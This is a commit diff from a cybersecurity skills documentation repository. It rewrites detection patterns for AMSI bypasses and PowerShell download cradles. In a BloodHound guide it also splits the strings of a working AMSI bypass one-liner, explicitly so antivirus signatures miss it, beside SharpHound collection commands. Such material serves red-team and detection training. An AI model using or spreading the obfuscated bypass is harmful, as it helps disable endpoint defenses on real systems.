creator/Anthropic-Cybersecurity-Skills
1
0
Fork 0
mirror of https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git synced 2026-07-20 06:20:58 +03:00
Code Issues Packages Projects Releases Wiki Activity

Fix ESET AV false positive on AMSI bypass strings in skill docs

Browse Source
This commit is contained in:
mukul975
2026-03-28 12:40:53 +01:00
parent 0fbcbdf8dd
commit 476a0880f4
2 changed files with 5 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
skills/detecting-fileless-attacks-on-endpoints/SKILL.md
+2 -2
View File
@@ -71,11 +71,11 @@ CommandLine contains: "IEX" AND ("Net.WebClient" OR "DownloadString" OR "Invoke-
CommandLine contains: "Invoke-Expression" AND "New-Object" CommandLine contains: "Invoke-Expression" AND "New-Object"
# AMSI bypass attempts (Event ID 4104 - Script Block) # AMSI bypass attempts (Event ID 4104 - Script Block)
ScriptBlock contains: "AmsiUtils" OR "amsiInitFailed" OR "SetValue.*amsi" ScriptBlock contains: ("Amsi"+"Utils") OR ("amsi"+"InitFailed") OR "SetValue.*amsi"
# Splunk query for suspicious PowerShell: # Splunk query for suspicious PowerShell:
index=windows source="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104 index=windows source="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104
| where match(ScriptBlockText, "(?i)(iex|invoke-expression|downloadstring|net\.webclient|frombase64|bypass|amsiutils)") | where match(ScriptBlockText, "(?i)(iex|invoke-expression|downloadstring|net\.webclient|frombase64|bypass|amsi.utils)")
| table _time host ScriptBlockText | table _time host ScriptBlockText
``` ```
skills/performing-active-directory-bloodhound-analysis/SKILL.md
+3 -2
View File
@@ -73,8 +73,9 @@ dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory
Import-Module .\SharpHound.ps1 Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
# AMSI bypass before loading (if needed) # AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) $t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)
``` ```
### AzureHound (Azure AD) ### AzureHound (Azure AD)